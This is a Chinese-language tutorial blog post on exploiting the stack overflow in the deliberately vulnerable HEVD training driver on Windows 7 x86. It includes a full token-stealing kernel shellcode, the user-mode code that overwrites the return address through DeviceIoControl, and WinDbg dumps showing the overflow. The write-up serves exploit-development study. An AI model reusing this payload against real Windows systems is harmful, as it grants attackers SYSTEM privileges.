1. 程式人生 > >[02] HEVD 核心漏洞之棧溢位

[02] HEVD 核心漏洞之棧溢位

作者:huity
出處:https://www.cnblogs.com/huity35/p/11231155.html
版權:本文版權歸作者所有。文章在看雪、部落格園、個人部落格同時釋出。
轉載:歡迎轉載,但未經作者同意,必須保留此段宣告;必須在文章中給出原文連線;否則必究法律責任。

0x00 前言

上一篇主要學習了環境搭建及前期專案準備,本篇開始學習HEVD中的核心棧溢位漏洞(StackOverflow)。需要參考環境的可參考: [01] HEVD 雙機除錯環境搭建

實驗環境:Win10專業版+VMware Workstation 15 Pro+Win7 x86 sp1

實驗工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer

這幾天看到有很多同樣開始研究二進位制漏洞的小夥伴,幾經交流,先膜再說。傳送門:TJ。

驅動安裝

從github上下載HEVD的原始碼編譯生成驅動,開啟我們之前準備好的虛擬機器和windbg,將驅動模組和利用模組拷貝到虛擬機器,用KMD載入即可。 開啟cmd,執行我們的利用程式,如下: 檢視是否載入成功,windbg使用lm m H*可以看到剛剛載入的HEVD.sys。

0x01 漏洞原理

棧溢位

顧名思義,即緩衝區中,超長的資料向小緩衝區拷貝資料,資料超出了小緩衝區,覆蓋掉了小緩衝之後的資料,此稱為緩衝區溢位。而棧溢位是緩衝區溢位的一種,類似的還有堆溢位,不同的是棧溢位發生在棧中,而堆溢位發生在堆中。具體更細緻的理解,可參考《0Day安全》(第二版)中第2、5、7章的介紹。 那麼當我們設計將返回地址溢位覆蓋為我們自己的程式地址,那麼目標程式即被利用。

分析

開啟..\HackSysExtremeVulnerableDriver-master\Driver\HEVD\BufferOverflowStack.c,看到觸發漏洞的函式TriggerBufferOverflowStack,其中針對存在漏洞的版本和不存在漏洞的版本的原始碼有一個很好的對比展示,如下:
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
...
#ifdef SECURE  //安全版本
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else   //漏洞版本
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}
在不安全的版本中,RtlCopyMemory函式進行記憶體拷貝時,直接使用Ring3傳入的記憶體塊大小,沒有進行任何的校驗。而在安全的版本中,記憶體拷貝大小被限制為目標緩衝區大小,即限制了棧溢位的發生。那麼,當我們編譯為不安全版本時,即可進行漏洞利用。 再向上翻看程式碼時,我們注意到核心緩衝區的大小為BUFFER_SIZE大小,檢視巨集可知為512,乘以32位ULONG即為0x800大小。

0x02 漏洞利用

提權

對於系統程序而言,如system.exe或者csrss.exe,當我們用自己的普通使用者程序開啟OpenProcess時,往往都會返回0x5的錯誤,即拒絕訪問。那是因為普通程序的許可權是比較低的,想要開啟高許可權程式必須具有高於或等於目標程序許可權,才能對其程序操作。 那麼如何提升當前程序的許可權呢,常用的一種做法是,通過Token令牌修改。

即將目標程序的 Token 結構資料或指標替換成 System 程序等系統程序的 Token 結構資料或指標。這樣一來程序將以系統程序的身份執行任何行為,所有需要校驗令牌的操作都將可以暢通無阻地進行。

 

第一步首先需要定位到System程序的EPROCES結構地址,常見做法是通過fs暫存器,其指向當前活動執行緒的TEB結構(執行緒結構),在Win7 x86 sp1環境下,其偏移0x124為當前執行緒KTHREAD結構:

kd> r fs
fs=00000030
kd> dd fs:[0x124]
0030:00000124  83f7d380 00000000 83f7d380 00000100
0030:00000134  9e090106 0001007f 00000000 00000000
0030:00000144  00000000 00000000 00000000 00000000
0030:00000154  00000000 00000000 00000000 00000000
0030:00000164  00000000 00000000 00000000 00000000
0030:00000174  00000000 00000000 00000000 00000000
0030:00000184  00000000 00000000 00000000 00000000
0030:00000194  00000000 00000000 83f0cae7 83e4ff64
    
kd> dt _KTHREAD 83f7d380 
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   ...
   +0x040 ApcState         : _KAPC_STATE
   +0x040 ApcStateFill     : [23]  "???"
   +0x057 Priority         : 0 ''
   ...
     
kd> dt _KAPC_STATE
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar
_KTHREAD結構的偏移0x50處為_KPROCESS結構,而_KPROCESS為_EPOCESS結構的第一個欄位,即定位到了_EPROCESS結構。   第二步通過_EPROCESS中偏移0xb8處的程序雙向連結串列,偏移0xb4處的程序識別符號以及System程序的程序識別符號4遍歷連結串列匹配到System程序。在EPROCESS結構偏移0xF8處為_EX_FAST_REF結構,為Token 成員域。
kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   ...
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   ...
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : Uint4B
   ...
       
kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
   +0x000 Object           : Ptr32 Void
   +0x000 RefCnt           : Pos 0, 3 Bits
   +0x000 Value            : Ui

數值的低 3 位表示引用計數,去除低 3 位數值後的 32 位完整數值指向實際表示的記憶體地址。

Token 結構中儲存與當前程序相關的安全令牌的資料內容,如使用者安全識別符號(Sid),特權級(Privileges)等,代表當前程序作為訪問者角色訪問其他被訪問物件時,訪問許可權和身份校驗的依據。當前的 System 程序的 Token 結構塊的資料如下:

kd> !token 89201270
_TOKEN 0xffffffff89201270
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 ...
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0

第三步,用系統程序令牌替換當前程序令牌。

根據以上步驟,參照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,構造的Payload程式碼如下:
VOID TokenStealingPayloadWin7() {
    __asm {
        pushad                               ; 儲存暫存器狀態
        xor eax, eax                         ; 清空eax
        mov eax, fs:[eax + KTHREAD_OFFSET]   ;獲取當前執行緒KTHREAD結構
        mov eax, [eax + EPROCESS_OFFSET]     ; 獲取_KPROCESS結構
        mov ecx, eax                         ; KProcess為EProcess第一個欄位  這裡將目標程序EProcess首地址放進ecx  方便後面替換
        mov edx, SYSTEM_PID                  ; SYSTEM process PID = 0x4
        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; _EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ;_EPROCESS.UniqueProcessId
            jne SearchSystemPID
        mov edx, [eax + TOKEN_OFFSET]        ; 獲取System程序令牌
        mov [ecx + TOKEN_OFFSET], edx        ; 用系統程序令牌替換目標程序令牌
        ; End of Token Stealing Stub
        popad                                ; 恢復現場
        ; Kernel Recovery Stub
        xor eax, eax                         ; 設定返回狀態為成功0
        add esp, 12                          ; 恢復堆疊
        pop ebp                              ; 彈棧
        ret 8                                ;
    }
}

 

利用程式碼

通過DeviceIoControl的其他記憶體模式IOCTL(METHOD_INEITHER)方法進行環3和環0通訊互動。
    #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

 

這種互動方法,驅動層可以直接訪問使用者模式地址,使用使用者模式地址必須保證呼叫DeviceIoControl提供執行緒和派遣函式執行在同一個執行緒上下文中。
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
  __try {
        ...
        //獲取裝置物件控制代碼
        hFile = GetDeviceHandle(FileName);

        ...
        //動態申請記憶體  2084
        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);

        ...
        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41  'A'

        MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申請區域的倒數第四的位元組  0x368068+0x824-4 = 0x368888

        ...
        *(PULONG)MemoryAddress = (ULONG)EopPayload;//寫入payload地址

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize, 
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
    
        HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
        UserModeBuffer = NULL;
    }

動態申請UserModeBufferSize(0x824)大小記憶體,使用字元A填充,修改最後四位元組為Payload地址。驅動層通過IO控制碼進入棧溢位處理歷程,也即文章開始處的觸發函式。

 

 

此時傳入使用者模式地址為0x2c8068,大小為0x824 可以看到,此地址與環三程式碼一致,最後四位為payload地址。
kd> db 0x002c8068 l 824
002c8068  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8078  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...
002c8868  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8878  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8888  b6 13 3f 01                                      ..?.
    
kd> db 013f13b6
013f13b6  e9 25 75 00 00 e9 20 3b-00 00 e9 85 d6 00 00 e9  .%u... ;........
013f13c6  36 13 00 00 e9 41 bc 00-00 e9 4c d5 00 00 e9 27  6....A....L....'
013f13d6  c5 00 00 e9 f4 a1 00 00-e9 9d d6 00 00 e9 08 d7  ................
013f13e6  00 00 e9 73 45 00 00 e9-82 d6 00 00 e9 29 2d 00  ...sE........)-.
013f13f6  00 e9 d0 a1 00 00 e9 ef-ba 00 00 e9 2a bb 00 00  ............*...
013f1406  e9 73 a1 00 00 e9 b6 a1-00 00 e9 0b a2 00 00 e9  .s..............
013f1416  88 a1 00 00 e9 71 a1 00-00 e9 dc b3 00 00 e9 15  .....q..........
013f1426  a2 00 00 e9 02 d7 00 00-e9 ff a1 00 00 e9 28 d5  ..............(.
                                                                          
013f88f2 b930000000      mov     ecx,30h
kd> u 013f13b6+5+7525 l 30
013f88e0 55              push    ebp
013f88e1 8bec            mov     ebp,esp
...
013f88fe 60              pushad
013f88ff 33c0            xor     eax,eax
013f8901 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
013f8908 8b4050          mov     eax,dword ptr [eax+50h]
013f890b 8bc8            mov     ecx,eax
013f890d ba04000000      mov     edx,4
013f8912 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
013f8918 2db8000000      sub     eax,0B8h
013f891d 3990b4000000    cmp     dword ptr [eax+0B4h],edx
013f8923 75ed            jne     013f8912
013f8925 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
013f892b 8991f8000000    mov     dword ptr [ecx+0F8h],edx
013f8931 61              popad
...
013f894e c3              ret
013f894f cc              int     3

再來看看核心棧緩衝區,明顯可以看到,覆蓋範圍超出了核心棧緩衝區,並且最後四個位元組為payload跳轉地址。

kd> dt KernelBuffer
Local var @ 0x987fb288 Type unsigned long[]

kd> db 0x987fb288 l 0x800 //覆蓋前
987fb288  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
987fb298  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
...
987fba78  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    
kd> db 0x987fb288 l 0x824 //覆蓋後
987fb288  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
987fb298  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...
987fba98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
987fbaa8  b6 13 3f 01                                      ..?.

測試中,可以看到我們的payload程式碼成功執行。

最終提權成功。  

0x03 防範機制

關於棧溢位的防護,作業系統自身不斷的完善,出現瞭如Linux中Canary、DEP、ASLR、RELRO等系列機制,包括Windows的GS編譯選項,對棧保護性上有一定作用,但是近些年來,人們不斷的研究下,這些機制又很容易被繞過和關閉,又使新的問題不斷出現。

0x04 連結

fuzzsecurity:https://www.fuzzysecurity.com/tutorials/expDev/19.html 玉涵師傅的翻譯版本:https://bbs.pediy.com/thread-223812.h